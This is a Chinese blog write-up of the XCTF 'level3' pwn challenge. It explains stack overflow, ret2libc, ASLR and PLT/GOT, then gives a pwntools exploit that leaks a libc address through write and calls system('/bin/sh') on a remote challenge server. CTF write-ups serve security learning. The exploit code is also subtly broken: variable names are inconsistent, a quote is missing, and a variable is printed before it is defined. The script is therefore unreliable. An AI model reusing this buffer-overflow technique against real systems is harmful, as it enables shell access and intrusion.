攻防世界 pwn level3

这道题对于我来讲好难好难啊,涉及到了很多新的知识。
首先checksec


图片.png

:可以直接栈溢出;基地址不变化;对数据有执行权限。

查看main()函数:


图片.png

查看函数function():


图片.png

无system,无/bin/sh,给了一个共享文件libc_32.so.6,明显为ret2libc。

ret2libc (return-into-libc)是一种利用缓冲区溢出的代码复用技术,主要通过覆盖栈帧的返回地址(EIP),使其返回到系统中的库函数,利用库函数中已有的功能来实施attack,而不是直接定位到注入的shellcode。system函数属于libc,而libc.so动态链接库中的函数之间相对偏移是固定的。即使程序有ASLR?;?,也只是针对于地址中间位进行随机,最低的12位并不会发生改变,用工具来找到对应的libc文件。

ret2libc特征:1、没有/bin/sh;2、没有system和/bin/sh;3、无system和/bin/sh,但是给了libc.so文件;4、这三个全都没有。

ASLR:地址空间布局随机化,ios,android,windows,macos,linux的当前版本都具有ASLR保护。主要用于防止缓冲区溢出攻击,ASLR与虚拟内存管理一起工作,将程序的不同部分的位置随机化,令攻击者不能通过尝试和错误了解目标位置,因为地址将不同。

read()函数中,buf大小为0x88,但是在函数中竟然规定了256之大。明显的栈溢出。

攻击思路

libc内的地址是随机的,但是函数的相对地址是不变的,只要知道其中某一个函数的地址,再利用相对位移计算出我们所需要的函数的地址,如果知道read或write函数的地址就可以计算出其他函数的地址。

某大佬攻击思路:

(1)通过function()中的read构造栈溢出,并且覆写返回地址为plt中的write地址。(2)通过wirte泄露read在内存中的绝对地址,并且接着调用function()(注:got中的read保存着read在内存中的真实地址)(3)计算出system和/bin/sh的绝对地址,再通过function构造栈溢出进行覆写。(4)成功

plt:procedure Linkage Table,延迟绑定,函数第一次用到时才进行绑定(符号查找,重定位等);
实现手法:增加一层间接跳转。
调用函数时并不直接通过GOT跳转,而是通过一个叫做PLT的项的结构来进行跳转,每个外部函数在PLT中都有一个相应的项。
ELF将GOT拆分成两个表叫做.got和.got.plt。
.got用来保存全局变量引用的地址
.got.plt用来保存函数引用的地址,外部函数的引用全部放到 .plt.got中。

思路

通过read覆盖返回地址没执行两次main函数,第一次泄露write函数的地址,第二次执行system函数。

exp:

from pwn import*
p=remote('111.198.29.45',52277)
# p=process("./level3")
# 获取文件对象
elf=ELF('./level3')
#获取lib库对象
libc=ELF('./libc_32.so.6')
#获取函数
wirte_plt=elf.plt['write']
write_got=elf.got[write']
main_addr=elf.sym['main']
#接受数据
p.recvuntil(":\n")
#char[88],ebp write函数地址,write函数返回地址(返回到main函数) write函数参数一(1)  write函数参数二(write_got的地址)write参数三(写4字节)
payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
#获取wirte在got中的地址
write_got_addr=u32(p.recv())
print hex(write_got_addr)
# 计算lib库加载基址
libc_base=write_got_addr-libc.sym['write']
print hex(libc_base)
# 计算system的地址
system_addr=libc_base+libc.sym['system']
print hex(bin_sh_addr)
#计算字符串/bin/sh 的地址。0x15902b为偏移,通过命令:strings -a -t x libc_32.so.6 | grep "/bin/sh"获取
bin_sh_addr=libc_base+0x15902b
print hex(bin_sh_addr)
#char [88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr)
payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
#接受数据
p.recvuntil(":\n")
#发送payloas
p.sendline(payload2)
#切换交互模式
p.interactive()
最后编辑于
?著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,128评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,316评论 3 388
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,737评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,283评论 1 287
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,384评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,458评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,467评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,251评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,688评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,980评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,155评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,818评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,492评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,142评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,382评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,020评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,044评论 2 352

推荐阅读更多精彩内容